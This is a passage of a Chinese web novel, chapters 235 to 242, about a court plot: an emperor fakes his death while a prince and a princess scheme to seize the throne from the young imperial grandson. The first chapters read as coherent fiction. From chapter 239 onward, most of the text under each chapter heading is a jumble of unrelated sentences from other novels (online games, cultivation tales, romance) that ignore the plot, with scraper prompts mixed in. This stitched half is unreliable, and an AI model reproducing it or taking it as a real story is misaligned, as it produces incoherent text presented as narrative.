听到乾德帝要把辰王也算进去,庆国公立刻把所有罪责都揽在自己身上。
乾德帝闻言,眼神更森寒。
他缓缓从御案后踱步而出,停在了庆国公面前。
“好一个忠心的舅舅。”他的声音不大,却字字如冰锥,“所有罪责你一肩扛下,保全你的好外甥,保全辰王的前程,是不是?”
庆国公以头触地,不敢抬起:“臣……臣只是不忍看辰王殿下受臣牵连,殿下他确实不知情啊。皇上,臣句句属实。”
庆国公必须把辰王摘出来,只有留得青山在,迟早有柴烧。
辰王是他们袁家全族的希望。辰王绝对不能有事。
“不知情?”乾德帝猛地转身,看向一旁瑟瑟发抖的袁俊鑫,“袁俊鑫,你来说。城外赌坊每日流水过万,银矿所出更是不计其数,这些钱,最终流向何处?
你敢说,没有一分一毫送到辰王府上?”
袁俊鑫浑身一颤,嘴唇哆嗦,眼神不由自主地瞟向辰王。
辰王立刻喝道:“二表弟,父皇面前,据实回话。若有半句虚言,便是欺君之罪。”
他这话看似严厉,实则暗含警告。
袁俊鑫脸色惨白,伏在地上痛哭:“皇上……微臣……微臣……”
每个月他都要给辰王十五万两,可他一时不知道如何找借口。
“微臣是想给辰王,帮他铺路,不过还没给。但辰王真的不知情。都是我们袁家主动的。”
袁俊鑫脑子转了转,用了个未遂的借口。
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第236章 按计划行事
“哼。”乾德帝冷哼一声,扫了辰王一眼。
庆国公一门真是忠心,证据确凿,知道庆国公府不保了,那就保辰王。
知道辰王才是他们最大的底气。
“来人,将庆国公袁宏翼,其子袁俊鑫,即刻革去所有爵位官职,打入天牢,召三司会审,严查其所有党羽,一个不许放过。”
几个禁卫进来把两人带走。
“袁贵妃教子无方,纵容外戚,祸乱朝纲,即日起,褫夺贵妃封号,即刻打入冷宫。辰王罚闭门思过半年。”乾德帝问都不想多问了,直接做出处罚。
“皇上,不要啊。臣妾陪伴您大半辈子,臣妾都已经老了,您让臣妾去冷宫,臣妾还能活几天啊
皇上,看在我们夫妻多年的份上,罚臣妾禁足吧。”袁贵妃发出一声凄厉的哀鸣,扑上前想去抓乾德帝的衣角。
哭得好不伤心。
她在后宫生活了这么多年,已是五十几岁的老妇,哪里受得了冷宫三餐不济的日子,宁可被禁足,至少吃穿用度不会少。
此时她已经没了平日的高贵。
但她抓住乾德帝衣摆的手却始终没有放开。
霍凝玉看到了她的小动作。
眼睛一眯,知道了袁贵妃的企图,心里冷笑。
旨意一下,如同雷霆击顶。
辰王瘫倒在地,口中喃喃:“完了……全完了……”
赵壑,该死的赵壑,打了他一个措手不及。
辰王眼神如鹰隼般盯着面前的地面,然后用余光看了一眼袁贵妃,嘴角勾起一抹淡淡的弧度。
乾德帝挥挥手,仿佛挥去一片令人厌烦的阴云。
赵玉麟安排好已回来复命,此刻正静立一旁。
“赵统领,庆国公府及其党羽的查抄、抓捕,由你全力配合三司。”乾德帝的目光望向殿外沉沉的天色,“记住,要快,要彻底。”
“臣,遵旨!”赵玉麟领命而去。
偌大的御书房终于安静下来,只剩下龙涎香在空气中缓缓燃烧。
乾德帝独自坐在高高的御案前,手指按着突突直跳的太阳穴。
霍凝玉见乾德帝难过的样子,有些心疼老人家。
轻轻走上前,伸出双手,为他按摩。
“皇伯父,我给您揉揉。”
随着霍凝玉的动作,乾德帝慢慢平静下来。
挥了挥手,御书房里伺候的两个宫人被林德全领着出去。
御书房里只剩他们三人。
“炳煜,为何不与朕说一声就行动?”乾德帝开始算账。
“皇伯父,昨夜实在来不及。里面戒备森严,我们制造了一点混乱才逃出来。
要不是凝玉对里面十分熟悉,侄儿就算武功再高强也不能保证能全身而退。
出了乱子,庆国公定会出现,是最好的时机。侄儿不想错过,所以就......先斩后奏。”
赵炳煜知道这次的事让皇伯父最后那点希望也熄灭了。
“皇伯父,刚才我看到袁贵妃又对您下毒了,我估计他们在做最后的打算了。”霍凝玉一边揉一边轻声说道。
乾德帝一怔。
“你看清楚了?”他因每日就吃了解药,感觉不明显。
“看清楚了。就是她拉住您衣摆时做了手脚。”霍凝玉很肯定。
乾德帝深吸一口气,可还是忍不住气得一拳砸在桌案上。
“皇伯父,不能再犹豫了,装了这么久,是时候收网了。”赵炳煜直接跪地,请求乾德帝下决定。
“哎!朕这一生,生了六个儿子,死了一个,贬了一个,也不知道还要折几个进去,皇权路,黄泉路。
他们哪里知道朕心里的苦。
这个位置是你皇祖父临终前传与朕,让朕一定要保南楚江山稳固,却没有交代朕不得杀害亲兄弟。
但朕知道你皇祖父的心愿,所以只让两个实在太过分的兄弟去陪你皇祖父,而今朕也走到了同样的时刻。”乾德帝说此,停顿住。
他想保全自己的孩子,可是总是事与愿违。
他想做一个好父亲,可总是力不从心。
一时之间,御书房静谧得连呼吸都能听到。
经过一番纠结,乾德帝终于拿定了主意。
“罢了,按计划行事吧。”
赵炳煜心里一松,他真怕皇伯父临了又改变主意。
霍凝玉从怀里拿出一个瓷瓶,从里面倒出一粒药丸给乾德帝看。
药丸黑得发亮。
“皇伯父,这是洪大夫配的假死丸,我们试过了,没有任何问题,只需在二十四个时辰之内吃下解药,即可醒来。就算不吃解药,最多三日,药效就会过去,也能醒来。”
霍凝玉解释道。
乾德帝接过瓶子,揣进自己怀里。
三人又商量了一阵,霍凝玉才离宫回府,赵炳煜留在宫里。
回到府里的霍凝玉,让青风随时留意辰王和大公主府的情况。
果然如她猜测,辰王被禁足,但府里的下人却可以随意出入。
很快大公主就收到辰王送来的信。
“哈哈......”看完信,赵明月大笑不止,“终于等到这一天了,哈哈......”
这章没有结束,请点击下一页继续阅读!笑到最后,赵明月又流下了眼泪。
“本宫是南楚唯一的嫡公主,谁也别想踩在本宫的头上。”
赵明月狰狞的脸,让人不寒而栗。
“苏嬷嬷,去把高义给本宫叫到书房来。”赵明月很快收起情绪。
半刻钟后,高义来到书房。
“属下见过大公主。”高义恭敬地一拱手。
“免礼。”赵明月眼神灼灼地看着眼前最忠心的下属,“高义,自你跟了本宫,也有十年了吧?”
“是的,公主,如果当年不是公主救了属下,属下早就不知道投胎去了哪里。”高义又是一礼。
当年他遇到江湖仇杀,他身受重伤,逃进了大公主的别院,被大公主所救,还帮他把追杀他的人全都给杀了。
从此他誓死追随大公主,直到现在。
“高义,你先给秦大将军送一封信,然后回家趁夜把你的妻儿藏好,再回来复命。”赵明月吩咐道。
“大公主?”高义猛地抬起头来。
“我们的机会来了,但凡事都有万一,你是本宫最忠心的护卫。
如果我们回不来,总要给你留个后,让你的娘子把本宫的儿子也带上。”赵明月心里热血沸腾,但她还是怕一去不复回,那么至少要保证自己的孩子能活着。
至于慧兰,那孩子根本不会听她的,那就陪着吧。
她有八成把握。
“是,属下这就去。”
当场,赵明月就写了信交给高义。
而她则给孩子准备好需要用到的东西,让苏嬷嬷把孩子给高义的娘子送去。
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第237章 皇上驾崩了
成大事者,当拿得起放得下,她最后看了孩子一眼,毅然挥了挥手。
苏嬷嬷抱着孩子离去。
赵明月的回信很快到辰王手里。
“王爷,大公主怎么说?”曾永信有些急切,成败在此一举。再冷静的人也难免焦急。
“大皇姐无有不应。宫里一传出消息,我们就按计划行事。把我们的力量全部安排到位。”辰王拿着手里的信,没有半点失去外祖家这么大助力而伤感,更没因又一次被禁足而郁闷,反而更加兴奋。
“是,属下这就去安排。”曾永信也兴奋道。
他跟了王爷多年,成败在此一举。王爷早就许诺他,只要王爷登上九五之尊,在朝堂上就有他一席高位。丞相都有可能。
十一月十七,卯时中。
林德全按正常时间进皇上寝殿叫皇上起床,准备每日早朝。
最近皇上不知道怎么回事,总是忍不住打瞌睡,每日清醒的时间越来越少。
蒋院正每日把脉也把不出个所以然来。
他真担心,哪日他叫皇上起身,再也叫不醒。
“皇上,该起身了。”林德全躬身站在龙床前,轻声唤道。
可是乾德帝连眉头都没皱一下。
“皇上?皇上?卯时了。”林德全提高了声音,又叫了两声。
可是乾德帝还是没有反应。
“师父,您再大声点。”身后跟着的小徒弟提醒。
“皇上!”林德全又提高了音量,可是乾德帝还是没给反应。
“师父,皇上会不会......”小徒弟不敢把死字说出口。
“混账,谁让你在御前乱说话,小心你的小命。”林德全轻斥道。
“可是,您都叫这么大声了,皇上还是没反应,要不您推一推?”小徒弟小心翼翼道。
林德全想到最近皇上的情况,只得接受小徒弟的建议,又上前一步,隔着被子推了推乾德帝。
“皇上,时辰不早了。”
可是乾德帝还是没有回应他。
林德全这回心里惊慌起来。
“师父,探探皇上的鼻息看看?”小徒弟伸长了脖子看乾德帝的脸,怎么感觉比昨日白呢。
林德全瞪了小徒弟一眼才按他说的把手伸到乾德帝鼻端。
一息,两息,三息。
林德全被吓得一屁股跌坐在地。
“皇上,皇上......,皇上他没气了。”林德全突然老泪纵横。
“快,快传太医。”林德全慌里慌张从地上爬起来。
小徒弟一听,更是吓得两腿发颤。
“师父,您确定吗?”小徒弟不太相信,人哪有走得这么安详的?昨夜值夜的宫人还在门外候着,没一个说有异常。
值夜的宫人刚才回说,皇上还和之前一样,很快就入睡了,一晚上都没有起过夜,也没出过恭。
小徒弟大胆地上前去感觉乾德帝的呼吸,两息后,手一缩。
“哇......,皇上他真没气了。”小徒弟也嚎哭起来。
“还不快去请太医?”林德全伤心地吼出来。
小徒弟这才撒丫子跑出寝殿。
很快,值夜的太医来了,只一摸乾德帝的身体就发现了不对劲。
“皇上驾崩了。”太医也被震惊得跌坐在地。
乾德帝驾崩的消息快速传遍整个皇宫。
当皇宫里传出帝王驾崩的钟声时,整个京城也瞬间陷入恐慌中。
那些刚刚起床出门的大臣们,在上朝的路上听到了钟声,一个个都吓得不知如何是好。
还是霍丞相反应快,让驾车的护卫把马车赶得飞起。
其他大臣见此,也急急往宫里赶。
好些马车里都传出哭声。
赵炳煜第一时间得到消息,飞奔至乾德帝寝殿,承德殿。
他上前摸了摸乾德帝的身体,果然冷冰冰的。
他戴着面具,谁也看不出他伤不伤心。
但都听他的,开始行动起来。
后宫的嫔妃们听到丧钟响,大多还在睡梦中,被宫女叫醒。
刚一醒就听到了那独特的钟声,一个个简直不敢相信自己的耳朵。
“皇上他......”皇后也怔怔地无法回神。
“皇后娘娘,承德殿小林子正在殿外等着。”大宫女蹲身禀报。
来报信的小太监很快被领进来。
“启禀皇后娘娘,皇上他驾崩了。”小太监哭着道。
消息进一步得到证实,皇后娘娘身子一晃,就要倒下,被宫女扶住。
“皇后娘娘,皇上驾崩,您可不能有事啊,需得您主持大局。太孙殿下更是需要您。”大宫女见皇后娘娘备受打击的模样,立即劝道。
“阿英,快,派几个人去接应一下哲儿,千万不能让他有事。”皇后被大宫女提醒,猛地回过神来。
什么都没有孙子重要。
只要孙子顺利登基,一切就能尘埃落定。
“是。”心腹大宫女安排了两个宫女扶着皇后往承德殿而去,而她则带着几个粗使的力壮婆子往东宫方向而去。
而睡梦中的赵凌哲被太子妃叫醒,他因睡得太熟,没听到钟声。
这章没有结束,请点击下一页继续阅读!“哲儿,快醒醒,你皇祖父他.......”太子妃话都没说完就难过地哭得泣不成声。
“皇祖父他怎么了?”赵凌哲瞬间清醒。
“驾崩了。”太子妃很艰难地说出后面三个字。
“什么?”赵凌哲被吓得向后倒去,然后又一翻爬起来,“快,更衣。”
母子俩以最快速度出了东宫,向承德殿而去。
刚一出来,就看到皇宫里的禁卫们都在跑步前进,各就各位,人数比原来多了不少。
赵凌哲的几个护卫前后左右护在两母子身边。
只是才刚走了不到一里,就有几名禁卫打扮的男子向他们杀来。
几个护卫立刻抽出佩剑迎敌。
皇后身边的大宫女刚赶到就看到护卫们与禁卫缠斗在一起的场面。
“去帮忙。”大宫女手一挥,身边的几个婆子,每人手里都抽出一把寒光闪闪的匕首,向禁卫们杀去。
“太孙殿下,老奴背着你跑快些。”其中一个婆子几步跨到赵凌哲身前。
赵凌哲虽有练武,但只有八岁,再怎么也赶不上大人。
他毫不犹豫,扒上婆子的背。
婆子背着他健步如飞,一看就知道是练家子。
太子妃提着裙摆,也不顾形象,追在后面。
几个护卫解决完敌人,也快速追上来。
如此这般,赵凌哲到承德殿前,一路上就遇到三波要杀他的人。
而冷宫里的袁贵妃听到钟声时,却放声大笑。
“哈哈......,赵乾,你不仁,就别怪本宫不义。
如果你从一开始就封我儿为太子,你还能寿终正寝。
你有今天,都是你自己自找的。”
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第238章 如朕亲临
这时冷宫的门被两个力大的太监打开。
“走,去承德殿,本宫伺候了这么多年的男人死了,本宫自要去送送他。”袁贵妃高昂起头,在贴身宫女的搀扶下走出了只住了一晚的冷宫。
只是她刚要出冷宫大门,就看到角落里站着一个人,正是先前被关进来的霁王母妃,于贤妃。
两人在宫里斗了一辈子,结果两人都被关进冷宫。
但,袁贵妃自认自己才是笑到最后的那个人,眼神轻蔑地扫向于贤妃。
“想去见皇上最后一面吗?”袁贵妃难得好心,发出邀请。
目的当然是要让于贤妃去看着她如何成为这南楚最尊贵的女人。
南楚最尊贵的女人不是皇后,而是太后,皇帝的亲娘。
于贤妃眼神麻木,但她还是慢慢移动脚步走上前来。
两个以前势如水火的人,难得没有发生任何争执,而是很和谐地一前一后向承德殿而去,一路上谁也没有说话。
当辰王听到钟声时,没有大笑,但脸上的喜意显而易见。
但他又很快压下,露出难过悲伤之色,紧接着就流下泪来:“父皇!”
一声悲鸣,感天动地。
“王爷,是皇上宾天了。”有人高喊。
曾永信匆匆进来:“王辰,快,咱们速速进宫,控制局势。”
当赵明月听到钟声,无悲无喜。
一切都在她的计划之中。
“苏嬷嬷,给本宫更衣。”
赵明月穿了一身素色的宫装,并没有让慧兰县主跟着,让她就在公主府里等消息,并安排了五个护卫给她。
所有人都不约而同先后来到承德殿外,能被允许进殿看望皇帝的人并不多。
赵炳煜就站在大门口等着。
一张钟馗面具,恐怖而森冷。
当霍凝玉走到他面前时,两人几不可察地点了下头。
霍凝玉算来得快的,寝殿里已经有了不少人。
皇后,太子妃和赵凌哲已经哭成了泪人儿。
袁贵妃和于贤妃也在。
霍凝玉特意跪到赵凌哲身后,并膝行几步靠近他,把他拥进怀里。
趁机在他耳边嘀咕了一句。
赵凌哲的哭声顿了一下,霍凝玉轻轻点了点头,然后也开始嘤嘤哭泣起来。
聪明的太孙殿下很快调整好,哭得比刚才还要大声。
而就在这时,辰王和大公主也来了。
两人都“无比真切”地哭嚎起来。
“父皇,您怎么就走了啊?一句遗言都不曾留下。儿臣不孝啊,都没在您床前伺候,陪您走完最后一程。”
辰王声泪俱下。
“父皇,儿臣是明月啊,你怎么这么狠心丢下儿臣。父皇,您最疼儿臣,你遇到了生死大关,为何都不让儿臣来伺候您?”大公主也悲痛欲绝。
这时几个大臣也纷纷进来,都伤心地哭成一片。
“太孙殿下,皇上已去,国不可一日无君。
你是皇上亲定的大位继承人,请太孙殿下即刻宣布登基,主持大局。”
霍鹏程作为丞相,转了个方向,向赵凌哲一叩。
“先生,可是皇祖父尸骨未寒。”赵凌哲把一个孝顺的孙儿形象做足。
“太孙殿下,此事不可耽误,还请以大局为重。”霍鹏程再请。
“丞相大人,此事咱们还是到外面去说吧,众大臣都在外面等着呢。
有些事,还是听听各位大臣们的意见为好。”辰王哀伤的脸上还挂着泪珠,但说出来的话却不容反驳。
“辰王说得对,此事是应该当着各位大人的面来讲。”霍鹏程顺水推舟。
赵凌哲率先走出寝殿,除了霍凝玉和几个妃子外,其他人都跟着出去。
所有大臣都在承德殿外站着,望着大门。
“各位大人,皇祖父确实已宾天。”赵凌哲艰难地说出这句,抬手擦了擦挡住视线的眼泪,“我作为皇祖父亲封的皇太孙,现在正式宣布......”
“慢着。”辰王的声音突然打断赵凌哲。
“大伯,你有何事?现在皇祖父已经去了,国不可一日无君,侄儿宣布登基可有什么不妥?”赵凌哲无畏辰王的眼神,与之对视。
“太孙殿下,皇上走得急,他没有留下只言片语,虽封你为太孙,但臣以为,皇上之所以封你为太孙,是因为皇上以为他能活到你成年,而现在你才八岁。
幼主登基,国将不稳啊,皇权旁落不说,就是西凉和北魏一旦知道我南楚的皇帝才八岁,还不举国来犯?到时我南楚危也。前朝就是例子。”礼部尚书桑泽辉痛心道。
“是啊,太孙殿下,南楚江山为重啊。”鲁老王爷也附议。
“没错,幼主怎么撑得起一国朝政。皇上又不是没有其他皇子。”又有人出列。
然后多人出列纷纷附议。
“各位大人,皇祖父的尸骨还躺在里面,你们就想谋反吗?”赵凌哲不惧不退。
“可是殿下,您想如前朝最后一位皇帝那样,做亡国之君吗?”桑泽辉突然变得严厉起来。
“桑尚书,你是想说,请我大伯来做这个皇帝吧?”赵凌哲讥讽道。
本小章还未完,请点击下一页继续阅读后面精彩内容!“有何不可,辰王已入朝多年,又是皇长子,还是成年皇子,由他主持一国朝政最合适不过。”桑泽辉理由充足。
“恳请辰王殿下登基。”朝臣们突然跪倒一大片。
只有一半还站着。
“各位大人,父皇早就预料到了这一日,他毕竟已经五十有四,幼主登基确实于国不利,所以......”
辰王的话还没说完,就被一直默不作声的赵炳煜打断。
“辰王殿下,你想太多了。”声音冷若冰霜。
“赵壑,你想和本王作对吗?现在父皇已去,你还不懂如何选择,别到时怎么死的都不知道。”辰王现在底气十足。
他根本不惧一个区区赵壑,靠着父皇撑腰才有几分脸面。
不过是一条养在父皇身边的狗罢了。
赵炳煜双眼直视辰王,慢慢从怀里掏出一块金色令牌。
辰王眼神盯在那块令牌上,眼睛睁得越来越大:如朕亲临!
“这块令牌怎么在你手里?”辰王怔住。
赵炳煜把令牌又面向所有朝臣亮了亮,靠得近的都看到了。
纷纷跪地:“臣参见皇上,吾皇万岁,万岁万万岁。”
“皇太孙既然是皇上亲封的皇位继承人,那就只能是他登基为帝。”赵炳煜说得铿锵有力,不容置疑。
“赵大人,你想我们南楚亡国吗?”桑泽辉痛心疾首质问。
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第一卷 第239章 宫变(一)
拉丹奴伸出手,轻轻的堵住了赵炎的嘴。赵炎感觉到拉丹奴的身子在哆嗦,下一刻,赵炎清晰的看见拉丹奴的眼角居然泛起了泪珠。
大家几乎都惊讶得说不出话来,慕容姗姗的话决非危言耸听,正如她所说的,狂剑如果能再多几件紫sè装备的话,那实在是太可怕了。
能让对方这等老家伙看得上的东西,一般之物是绝对不行的,五行龟片虽然珍贵,但估计入不了对方的法眼。
我哈哈一笑,连退几步,迅速激活了自己攻击力最为强大的技能,只见数到环形金sè光芒自脚下旋转而起,强大的气劲甚至吹得周围的玩家站立不稳。
地精工厂,三个斗篷人正满载而归从深处跑出来。他们踏着地精们的尸体,顺势对身边的器具进行摧毁。
叶秋与fire面面相觑,红叶也深为叹服,不得不对欣雨这个看起来娇滴滴的mm刮目相看了。
有五十余元婴修士站在山腰洞户门口,他们谨慎的看着面前的洞府,里面别有洞天但是无一人敢进,这可是化神老怪留下的后手,那可是最接近仙人的境界。
老头还在那里,见到我回来那张满是皱纹的老脸立刻堆上了笑容。
神识继续在三角印内游移了几遍,不但仍旧找不到器灵踪迹,还又让神枫发现了另外一点奇怪的地方。
赵炎急忙从床上坐起来,活动手腕和脑袋,觉得无恙后,放心下来。看着一个个关切的眼神,他心里突然非常温和。
李和弦的话语,就仿佛是一道阳光,一下子驱散了陈苇叶脸上大半的阴霾。
瞬间,一片欢呼声响起,接着,一众上元飞身而起,坐着迅隼,极速朝欢乐堡冲去。
声嘶力竭地唱了一阵,罗丽才想起歌曲的名字好像是“向天再借五百年”,中国古代的那些皇帝们,想法设法的总想长寿不死,可他们没有一个做到,最终都是尘归尘土归土。
“这是为什么?为什么呀?”齐永兵的眼睛突然就夺眶而出,泪珠顺着脸颊落下,他却连擦拭的动作都没有,一脸万念俱灰的样子,长长地叹了口气。
“我知道,那是我妹妹,不用管她,让他知道我的真实身份也好。”刘爽皱着眉头说。
她入宫的原因,一是为了报答谭家恩情,二是为了躲避薛正清,毕竟她也不清楚这薛正清到底有没有放下昔年的仇怨,而躲进深宫是最好的选择。
没错,当初香琴陷害云瑶,的确是她指使的。因为她私吞了掖庭宫的中馈,填补己用,却无意间被香琴看到,成为香琴拿捏在手心里的把柄。
甚至他看到玄天大陆上无尽海竟然占据了八成,陆地仅仅占据了两成。
或许,她该想个办法,跟沈泽或者顾清铭,当面说清楚眼前的局面。
身躯被直接磨灭,四分五裂,化作一团血雾,已经是直接爆炸开来,没有任何的悬念可以言语。
接下来大家都打起了精神,对于雷家所有人而言,一个重要的时刻马上就要来临了。
靳光衍停止了动作,颜萧萧的脸烧得滚烫,她偷眼望去,靳光衍脸上是嘲讽的表情,心里像是被千万根针扎,颜萧萧觉得无地自容。
不过这都无所谓了,江寒肯动手,说明还是有些想法的,即便只能给胖子增加一天的时间,那也很有意义了。
罗猎望着西蒙,眼前的西蒙再不是昔日那个刚愎自用嚣张跋扈的神父,他的生命即将终结,人之将死其言也善,凭直觉意识到他不远万里而来为得不是欺骗自己。
颜天心手中的镭射枪已经蓄能完毕,瞄准二度向罗猎突袭的独目兽就是一枪。
“吸烟有害健康,我知道了,我又不是未成年。”许翼顺口说道。
他们经历了罗源的时代,自然知道被控制了多么恐怖,那种通讯仪控制之下,他们甚至连自杀都不到。
这有点欺负的嫌疑了,那把刀架人家脖子上问人家,你说我这刀能不能砍死你,人家能怎么回答,说不能让你去实验一下吗?
麻雀当然是有备而来,在她来见罗猎之前已经做足了心理准备,她认为自己再次见到他的时候完全可以做到心如止水,然而真正见到罗猎之时内心仍然泛起波澜。
庞大的浮空城逐渐上升到了数百米的高空中,伴随着迷锁能量防护力场的完全激活,它四周的空间都好似出现了一点扭曲。突然间,眼前庞大无比的浮空城消失在了视线内,当它再度出现时已经是在无边无际的星界虚空中。
顿时,万通等人,也是惊讶的看着那十来个代表雷少贺礼的人,没想到这个左壮居然靠上了雷震门这座大山,怪不得敢对宫驰骋动手,看来是早有预谋,这个家伙会不会成了雷震门的爪牙,对他们深入蚕食?
“怪不得,怪不得。”得了李大夫人的话,吕香儿才反应过来,为什么看着画中人眼熟了,就是因为自己与画中人长的很像的缘故。
不过看着难得如此“安静”的自家美人,安晓晓菇凉又怎么可能会放过这个调-戏美人的最好机会呢?
阿西勒一脸激动的说道,当初他们被诸葛龙行搞的焦头烂额,如今也算是解了气。况且陈琅琊承诺过他们的话,应该不会不算数。
夏风光每换一个学校,学校里要换一个校长,这已经是一件很正常的事情了。
\t聊?跟你有什么好聊的,秦风心想,咱们又不是很熟,如果不是跑项目,连认识的机会都没有,两个陌生人,能有多少话题呢。
聂沛潇觉得自己实在憋不住了,今夜若不问清楚出岫夫人与赫连齐的旧事,他必定会煎熬得难以入睡。明知这事不该他过问,他也没资格过问……但他忍不住,无法做到就此忽略。
第一卷 第240章 宫变(二)
他知道赵壑是皇上最信任的人,而他直到现在也只是拿出如朕亲临的御牌,就再没有什么动作,就连皇城司的两百人都没有出动。
或许赵壑还有什么计划,只是他不知道。但
他相信赵壑。
高中的时候好像就没什么幸运的事,每天都平平淡淡的,按部就班,吃完饭去上课,上完课回来上自习,上晚自习睡觉,睡觉起来又要去上课,周而复始,但那种平凡至极的日子里,也没有出现照亮生活的一束光。
此刻,微微一笑,只见直勾勾地看着,只见那笑容和那妖精模样,仿佛是刚见天日的犯人。苍白的脸,无法掩饰的英俊,苍白的剑,无法掩盖的谋杀攻击。司马炎症不慌不忙地闭上眼睛。
“结婚协议上本就写了双方都可以随时终止协议,为什么非要出什么事才可以?”萧子语摊了摊手,仿佛自己刚才只是说了句晚上吃什么之类的话,转身就准备离开。
至于智深和尚到底会怎么样,这些来自中州的玄法境强者们其实并不关心。
没有,因为炎魔蜥接下来将头低垂至地面,舌头卷起单云霄的身形,将单云霄放在了与自己孩子身边的位置。
看着刘枫的表情,刘东流顿时打了个寒颤,但是好奇心的驱使,还是让刘东流忍不住侧过身子往下看。
有人惊慌外逃,不过在动身的瞬间就被大师手中射出的寒光斩掉了头颅。
但是,楚钰也并不打算再问下去了,问再多,得到的也都是谎话,没有意义。
麦芽是第一次看到她衣柜里的衣服,大多数都是裙子,而极少数的裤子也超紧身,去游乐场玩,应该是一个很放松的活动,所以应该穿一件宽松的裤子,这样最起码也能在路途之中不那么紧绷。
可是欣柔一波未平一波又起,都说好事会发生在下一个转弯,可是到底要转到什么时候才能够看见好事呢?
“诸葛前辈,我敬你一声前辈,还请你不要恶人先告状。人命关天,我儿子身死,你们务必要给个交代。”茅锐说道。
而这消息不径而走,让林府面上很不好看,这个时候颜笑又在宴会上大出风头,林朗心里郁结难挡。
侍从们一阵翻箱倒柜,众人笑声中,别说鞋了,鞋毛都没有找到一根。
简锋当然是十分伤心的,林峰的阻拦,差点让事情一发不可收抬,让他们之间打起来。
虽然不适应,江俏耳还是礼貌的一一点头回应,嘴角的笑容既不造作也不显得冷清,一切都恰到好处的亲和有礼。
这一盏茶杯少说大几十万,她一个刚刚参加工作的大学生哪里赔得起,除非去卖。
“我的曲子,不及她……。”大乔颇为担忧,她深知自己的曲子不及妹妹,本说争一个第二名,这么看起来都很难了。
“她怎么样了?”欧阳炼口中所说的她,自然就是之前他娶过门的老婆,沐灵曦。
林宛玉皱着眉头不说话,感觉心里有一种不祥的预感!她到底想干什么?
寒双和邪这时候才走过来,一脸茫然的看着众人!不知道这是怎么了。
杨家众人一阵嘲笑,言语尖酸刻薄,一点也不顾及张家弟子的感受。
第一卷 第241章 宫变(三)
“父皇知道自己时日无多,早就写下遗诏交与本宫。”赵明月从自己的广袖里拿出一道圣旨。
“还请叔祖父代为宣旨。”赵明月把圣旨递给鲁老王爷。
鲁老王爷犹豫着接过圣旨,眼神在赵明月脸上扫了又扫,想看出她心不心虚。
……几人笑闹着,坐在一旁的顾影琳是越听越不对劲,目光看向田七,莫非他和她已经睡过了?
等饭做好,裴芩食指大动,拿着筷子夹了一块,刚送进嘴里,还没咽下去,胃里就一阵翻滚,皱眉硬吃下去,顿时干呕起来。
灵儿的话让他终于舒了一口气,意识控制全身,终于抑制了灰雾的吸收吞噬。
现场这些世家贵胄纷纷拔剑,大声质问。老头子死了他们也挺开心,但世家的脸面不是谁都能踩的,要不是个泥腿子就敢闹事,他们虽然不怕,但也挺烦不是。
“别吵了,我们就这么眼睁睁的看着加百列溜掉?”巴卜拉忽然插话说。
等孙立发现情况不对的时候已经晚了,由于对张猛的身材有所顾忌,孙立这一次的冲锋几乎用尽了所有的力气,此时再想变招已经来不及了。
提示框五秒后就会消失,如果没有做出选择,视为玩家自动放弃,对分数没有影响,只是需要再次手动排队而已。
林火一击不中,转过身来便是再一次冲了上来,又被剑侠客轻松了躲避了过去。如此这般几个回合下来,林火别说给剑侠客造成什么伤害了,他甚至都没有机会碰到剑侠客的身体。
听皇太妃这么一说,秦怡倾顿觉手中的沉重,仿佛能压得人喘不过气,不过既然她身为皇后,这是她的责任,是她迟早要做的事情。
这时候正在意识空间内专心吸收能量的般若感觉到身体一阵摇晃,只好中断修炼睁开了眼睛。
自从星辰发生变化之后,短短一天,发生了这么多事,以前从未见过的未知生物突然出现,看着‘床’上躺着的几人,我心里很不是滋味。
不管面对什么都没崩塌的心,这次毁的彻底,我不知道自己的表情是什么样,反正,没有哭闹,大脑一片空白。
我躲开白虎的前扑,转身去攻击白骨,这时秦天却突然挡在了白骨身前,无奈我只好生生的收回了内力。白虎再次仆空,我看准时机,双手化为触手,分别把秦天和白骨卷了起来。
卓南接过这个布包,上面还沾染着裴震海的鲜血,没想到三十几年来裴震海竟然将这份武功秘笈藏在自己的身上,轻轻的打开这个布包,而上官灵凤则立刻从自己的裤子上撕下一个布条给裴震海包扎了起来。
‘皇子殿下,这是我那不成器的儿子马格斯,这次我向陛下举荐他陪您一起参加这次的谈判,您还要好好教教他’有公爵带着一个中年人过来。
羌族统领姚襄被徐晃一斧砍下了脑袋,氐族的首领李雄也险些被张辽砍下脑袋,虽侥幸逃了一命,但变成了个一只耳。
卓南到无所谓,他只是想混进这里罢了,至于玩什么项目,他真没考虑过,可见马胖子这么热情,生怕马胖子忘了正事。
晚饭的时候父亲说她脸色看起来很差,仔细想想,她最近的状态好像真的不怎么的好。尤其此刻,脸色苍白的没有任何的血色,仿若被抽干了血液一般,只剩下空壳的身体,无力支撑。
第一卷 第242章 朕还没死
“赵壑,本宫是父皇唯一的嫡女,他们哪个有本宫的身份高贵?
父皇传位给本宫不是理所当然的吗?
你作为父皇身边的近臣,难道连这点都不懂吗?”
每个军区或者军种都有自己得飞行员,一般不会出现这种借调的情况。
结婚是大事,八竿子打不着的亲戚也会来凑热闹,就算是自己家亲戚向雪娇也认不全。
“不知道!”耶无害应了一声,转身再寻陈丞相,却不知啥时他早已离开不见人影。
对于陆韵的不配合,姐弟两人也不在意,自顾自的玩的乐呵呵的。
去了那里,需要注意的除了沙漠本身的危险外,还有人,包括那些看起来再普通不过的普通人。
方瑜雪眼前一亮,她就是想要表达这个意思,和聪明人对话,就是这么简单,你都还没有说出你的想法,他已经和你想一块去了。
“老婆子!你我日月合体,将他们赶尽杀绝!”龚万林说完,纵身跳于白玉兰身后,准备并肩作战。
等陈硕两人到的时候,厅里已经有了不少人了,见了两人纷纷打声招呼。
他很肯定,黄毛一定去找了秦明,他从来没有违背过自己的命令,就算黄毛不是他杀的,也和他脱不了干系。
反手操纵厄斐琉斯释放通碧长枪的Q技能还魂月闪,精准的命中了想要走位扭掉的炸弹人。
不过,这样做也只是消除了粉丝们对他“出轨实锤”的误解。但是里的薛杉杉不是思思这个事,还是依然没有解决。
衡纲站在门后,瞪着大眼睛看了看敲门的家伙,随后他做的,便是再次关上房门。
原本想要唤人的钟敬光突然就被萧博这么一句喊停的脚步,直直的看着他。
大殿之内,玄宗宗主脸色阴沉,他从未想过就这样给人打上了宗门,殿中还有五六位长老,今天皆是为此事聚在一起。
徐阳以目光环视四周,发现大多数人虽然并未负伤,可一个个眼神里透露出的都是无奈与绝望。
今日的天气格外的好,阳光也变得更加迷人,蓝天白云美得如画一般。推开窗户,一阵凉风裹挟着清新气息迎面袭来,为这一日带来了崭新的朝气。
“这茶……”他惊愕地看着克里曼沙,被脑海中的童音赞叹演技。
